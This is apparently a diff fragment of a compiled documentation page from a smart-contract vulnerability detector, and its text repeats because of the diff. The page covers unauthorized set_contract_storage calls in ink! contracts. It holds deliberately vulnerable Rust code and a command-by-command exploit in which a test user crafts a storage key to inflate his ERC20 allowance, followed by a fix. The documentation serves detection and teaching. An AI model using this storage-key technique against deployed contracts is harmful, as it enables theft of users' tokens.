5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n\n")),(0,r.kt)("p",null,"Notice that, in this case, the contract address is\n",(0,r.kt)("inlineCode",{parentName:"p"},"5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf"),".\nFor Alice, her address is by default\n",(0,r.kt)("inlineCode",{parentName:"p"},"5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY")," and Bob's address is\n",(0,r.kt)("inlineCode",{parentName:"p"},"5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"),"."),(0,r.kt)("p",null,"You can get Alice's allowance for Bob with the following command\n",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run"),".\nMake sure to replace the contract address with the one you obtained. In this\ncase, you will see that the allowance is set to zero."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run\n\n Result Success!\n Reverted false\n Data Ok(0)\n\n")),(0,r.kt)("p",null,"Alice can approve a higher allowance for Bob using the ",(0,r.kt)("inlineCode",{parentName:"p"},"approve()")," function\nwith the command\n",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::approve --args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10 --suri //Alice"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::approve --args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10 --suri //Alice\n\n Dry-running BaseErc20::approve (skip with --skip-dry-run)\n Success! Gas required estimated at Weight(ref_time: 7983333376, proof_size: 262144)\nConfirm transaction details: (skip with --skip-confirm)\n Message BaseErc20::approve\n Args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10\n Gas limit Weight(ref_time: 7983333376, proof_size: 262144)\nSubmit? (Y/n): y\n Events\n Event Balances \u279c Withdraw\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 98.974204\u03bcUNIT\n Event Contracts \u279c ContractEmitted\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n data: Approval { owner: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY, spender: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty, value: 10 }\n Event Contracts \u279c Called\n caller: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event Balances \u279c Transfer\n from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.08mUNIT\n Event Balances \u279c Reserved\n who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.08mUNIT\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n actual_fee: 98.974204\u03bcUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 3485758564, proof_size: 30498 }, class: Normal, pays_fee: Yes }\n")),(0,r.kt)("p",null,"Let us assume Bob is a malicious user and he wants to set a higher allowance\nfor himself without Alice's approval. Taking a look at the smart contract,\nhe notices that the function ",(0,r.kt)("inlineCode",{parentName:"p"},"misused_set_contract_storage()")," has no access\ncontrol validation and uses the ",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function. Working on\nthe input of this function, he could change the contract's storage and his\nallowance."),(0,r.kt)("p",null,"In order to do this, he runs the following command ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message MisusedSetContractStorage::misused_set_contract_storage --args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000 --suri //Bob"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message MisusedSetContractStorage::misused_set_contract_storage --args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000 --suri //Bob\n\n Dry-running MisusedSetContractStorage::misused_set_contract_storage (skip with --skip-dry-run)\n Success! Gas required estimated at Weight(ref_time: 7983333376, proof_size: 262144)\nConfirm transaction details: (skip with --skip-confirm)\n Message MisusedSetContractStorage::misused_set_contract_storage\n Args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000\n Gas limit Weight(ref_time: 7983333376, proof_size: 262144)\nSubmit? (Y/n): y\n Events\n Event Balances \u279c Withdraw\n who: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty\n amount: 98.974241\u03bcUNIT\n Event Contracts \u279c Called\n caller: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty\n actual_fee: 98.974241\u03bcUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 2142080861, proof_size: 30498 }, class: Normal, pays_fee: Yes }\n")),(0,r.kt)("p",null,"If we check now Bob's allowance, we see that he has access to 1000000 tokens!"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run\n\n Result Success!\n Reverted false\n Data Ok(1000000)\n")),(0,r.kt)("p",null,"Breaking down the used key ",(0,r.kt)("inlineCode",{parentName:"p"},"[255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72]"),",\nwe note that:"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("inlineCode",{parentName:"li"},"[255,0,0,0]")," stands for allowances mapping."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("inlineCode",{parentName:"li"},"[212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125]")," corresponds, byte by byte, to Alice's address ",(0,r.kt)("inlineCode",{parentName:"li"},"5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY"),"."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("inlineCode",{parentName:"li"},"[142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72]")," corresponds, byte by byte, to Bob's address ",(0,r.kt)("inlineCode",{parentName:"li"},"5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"),".")),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"Arbitrary users should not have control over keys because it implies writing\nany value of a mapping, lazy variable, or the main struct of the contract\nlocated in position 0 of the storage.\nTo prevent this issue, set access control and proper authorization validation\nfor the ",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function. "),(0,r.kt)("p",null,"Arbitrary users should not have control over keys because it implies writing\nany value of a mapping, lazy variable, or the main struct of the contract\nlocated in position 0 of the storage.\nSet access control and proper authorization validation for the\n",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function."),(0,r.kt)("p",null,"For example, the code below, ensures only the owner can call\n",(0,r.kt)("inlineCode",{parentName:"p"},"misused_set_contract_storage()"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\nfn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()> {\n if self.env().caller() == self.owner {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n } else {\n Err(Error::UserNotOwner)\n }\n}\n")),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/set-contract-storage/set-contract-storage-1/remediated-example/lib.rs"},"here"),"."),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/storage-layout"},"https://use.ink/datastructures/storage-layout"))))}m.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2688],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>h});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function s(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var c=a.createContext({}),l=function(e){var t=a.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):s(s({},t),e)),n},u=function(e){var t=l(e.components);return a.createElement(c.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},d=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,o=e.originalType,c=e.parentName,u=i(e,["components","mdxType","originalType","parentName"]),p=l(n),d=r,h=p["".concat(c,".").concat(d)]||p[d]||m[d]||o;return n?a.createElement(h,s(s({ref:t},u),{},{components:n})):a.createElement(h,s({ref:t},u))}));function h(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var o=n.length,s=new Array(o);s[0]=d;var i={};for(var c in t)hasOwnProperty.call(t,c)&&(i[c]=t[c]);i.originalType=e,i[p]="string"==typeof e?e:r,s[1]=i;for(var l=2;l{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>s,default:()=>m,frontMatter:()=>o,metadata:()=>i,toc:()=>l});var a=n(2564),r=(n(9496),n(9613));const o={},s="Set contract storage",i={unversionedId:"vulnerabilities/set-contract-storage",id:"vulnerabilities/set-contract-storage",title:"Set contract storage",description:"Description",source:"@site/docs/vulnerabilities/2-set-contract-storage.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/set-contract-storage",permalink:"/scout/docs/vulnerabilities/set-contract-storage",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/2-set-contract-storage.md",tags:[],version:"current",sidebarPosition:2,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Integer overflow or underflow",permalink:"/scout/docs/vulnerabilities/integer-overflow-or-underflow"},next:{title:"Reentrancy",permalink:"/scout/docs/vulnerabilities/reentrancy"}},c={},l=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:l},p="wrapper";function m(e){let{components:t,...n}=e;return(0,r.kt)(p,(0,a.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"set-contract-storage"},"Set contract storage"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,r.kt)("li",{parentName:"ul"},"Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/set-contract-storage"},(0,r.kt)("inlineCode",{parentName:"a"},"set-contract-storage"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/set-contract-storage/set-contract-storage-1"},(0,r.kt)("inlineCode",{parentName:"a"},"set-contract-storage-1")))),(0,r.kt)("p",null,"Smart contract can store important information in memory which changes\nthrough the contract's lifecycle. Changes happen via user interaction with\nthe smart contract. An ",(0,r.kt)("em",{parentName:"p"},"unauthorized set contract storage")," vulnerability\nhappens when a smart contract call allows a user to set or modify contract\nmemory when he was not supposed to be authorized."),(0,r.kt)("p",null,"In this example, we see how this vulnerability can be exploited to change a\nuser's allowance in an ",(0,r.kt)("a",{parentName:"p",href:"https://ethereum.org/en/developers/docs/standards/tokens/erc-20/"},"ERC20"),"\ncontract."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"In this example we see that any user may access the\n",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function, and therefore modify the value for any key\narbitrarily."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink::trait_definition]\npub trait MisusedSetContractStorage {\n #[ink(message)]\n fn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()>;\n}\n\n\nimpl MisusedSetContractStorage for Erc20 {\n #[ink(message)]\n fn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()> {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n }\n}\n")),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/set-contract-storage/set-contract-storage-1/vulnerable-example/src/lib.rs"},"here"),"."),(0,r.kt)("h3",{id:"deployment"},"Deployment"),(0,r.kt)("p",null,"To compile this example, ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo-contract")," v2.0.1 (or above) is required."),(0,r.kt)("p",null,"In order to run this exploit, ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/paritytech/substrate-contracts-node/releases"},"download"),", unzip and run a substrate node with ",(0,r.kt)("inlineCode",{parentName:"p"},"./substrate-contract-node"),". Download the contents of the ",(0,r.kt)("inlineCode",{parentName:"p"},"example")," folder associated to this detector and compile the contract running ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract build")," and build the binary."),(0,r.kt)("p",null,"Afterwards, upload the binary into the running network with the account ",(0,r.kt)("inlineCode",{parentName:"p"},"Alice")," using ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract upload --suri //Alice ./target/ink/my_contract.contract"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},'$ cargo contract upload --suri //Alice ./target/ink/my_contract.contract\n\n Events\n Event Balances \u279c Withdraw\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 3.366751549mUNIT\n Event Balances \u279c Reserved\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 587.83mUNIT\n Event Contracts \u279c CodeStored\n code_hash: 0xacb7ab745fa131cf8a8eb0f5bb2d98f88ea186da39dee2e80b1289bcfd9d7f25\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n actual_fee: 3.366751549mUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 3366724431, proof_size: 0 }, class: Normal, pays_fee: Yes }\n\n Code hash "0xacb7ab745fa131cf8a8eb0f5bb2d98f88ea186da39dee2e80b1289bcfd9d7f25"\n')),(0,r.kt)("p",null,"Instantiate the uploaded smart contract with 100000 tokens from ",(0,r.kt)("inlineCode",{parentName:"p"},"Alice")," running\n",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract instantiate --args 100000 --suri //Alice"),", press ",(0,r.kt)("inlineCode",{parentName:"p"},"y")," and\n",(0,r.kt)("inlineCode",{parentName:"p"},"[Enter]"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract instantiate --args 100000 --suri //Alice\n\n Dry-running new (skip with --skip-dry-run)\n Success! Gas required estimated at Weight(ref_time: 1173504383, proof_size: 0)\nConfirm transaction details: (skip with --skip-confirm)\n Constructor new\n Args 100000\n Gas limit Weight(ref_time: 1173504383, proof_size: 0)\nSubmit? (Y/n): y\n Events\n Event Balances \u279c Withdraw\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 99.001146\u03bcUNIT\n Event System \u279c NewAccount\n account: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event Balances \u279c Endowed\n account: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n free_balance: 100.605mUNIT\n Event Balances \u279c Transfer\n from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.605mUNIT\n Event Balances \u279c Reserved\n who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.605mUNIT\n Event Contracts \u279c ContractEmitted\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n data: Transfer { from: None, to: Some(5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY), value: 100000 }\n Event Contracts \u279c Instantiated\n deployer: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event Balances \u279c Transfer\n from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 200.16mUNIT\n Event Balances \u279c Reserved\n who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 200.16mUNIT\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n actual_fee: 99.001146\u03bcUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 5236087078, proof_size: 0 }, class: Normal, pays_fee: Yes }\n\n Contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n\n")),(0,r.kt)("p",null,"Notice that, in this case, the contract address is\n",(0,r.kt)("inlineCode",{parentName:"p"},"5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf"),".\nFor Alice, her address is by default\n",(0,r.kt)("inlineCode",{parentName:"p"},"5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY")," and Bob's address is\n",(0,r.kt)("inlineCode",{parentName:"p"},"5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"),"."),(0,r.kt)("p",null,"You can get Alice's allowance for Bob with the following command\n",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run"),".\nMake sure to replace the contract address with the one you obtained. In this\ncase, you will see that the allowance is set to zero."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run\n\n Result Success!\n Reverted false\n Data Ok(0)\n\n")),(0,r.kt)("p",null,"Alice can approve a higher allowance for Bob using the ",(0,r.kt)("inlineCode",{parentName:"p"},"approve()")," function\nwith the command\n",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::approve --args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10 --suri //Alice"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::approve --args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10 --suri //Alice\n\n Dry-running BaseErc20::approve (skip with --skip-dry-run)\n Success! Gas required estimated at Weight(ref_time: 7983333376, proof_size: 262144)\nConfirm transaction details: (skip with --skip-confirm)\n Message BaseErc20::approve\n Args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10\n Gas limit Weight(ref_time: 7983333376, proof_size: 262144)\nSubmit? (Y/n): y\n Events\n Event Balances \u279c Withdraw\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 98.974204\u03bcUNIT\n Event Contracts \u279c ContractEmitted\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n data: Approval { owner: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY, spender: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty, value: 10 }\n Event Contracts \u279c Called\n caller: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event Balances \u279c Transfer\n from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.08mUNIT\n Event Balances \u279c Reserved\n who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.08mUNIT\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n actual_fee: 98.974204\u03bcUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 3485758564, proof_size: 30498 }, class: Normal, pays_fee: Yes }\n")),(0,r.kt)("p",null,"Let us assume Bob is a malicious user and he wants to set a higher allowance\nfor himself without Alice's approval. Taking a look at the smart contract,\nhe notices that the function ",(0,r.kt)("inlineCode",{parentName:"p"},"misused_set_contract_storage()")," has no access\ncontrol validation and uses the ",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function. Working on\nthe input of this function, he could change the contract's storage and his\nallowance."),(0,r.kt)("p",null,"In order to do this, he runs the following command ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message MisusedSetContractStorage::misused_set_contract_storage --args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000 --suri //Bob"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message MisusedSetContractStorage::misused_set_contract_storage --args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000 --suri //Bob\n\n Dry-running MisusedSetContractStorage::misused_set_contract_storage (skip with --skip-dry-run)\n Success! Gas required estimated at Weight(ref_time: 7983333376, proof_size: 262144)\nConfirm transaction details: (skip with --skip-confirm)\n Message MisusedSetContractStorage::misused_set_contract_storage\n Args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000\n Gas limit Weight(ref_time: 7983333376, proof_size: 262144)\nSubmit? (Y/n): y\n Events\n Event Balances \u279c Withdraw\n who: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty\n amount: 98.974241\u03bcUNIT\n Event Contracts \u279c Called\n caller: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty\n actual_fee: 98.974241\u03bcUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 2142080861, proof_size: 30498 }, class: Normal, pays_fee: Yes }\n")),(0,r.kt)("p",null,"If we check now Bob's allowance, we see that he has access to 1000000 tokens!"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run\n\n Result Success!\n Reverted false\n Data Ok(1000000)\n")),(0,r.kt)("p",null,"Breaking down the used key ",(0,r.kt)("inlineCode",{parentName:"p"},"[255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72]"),",\nwe note 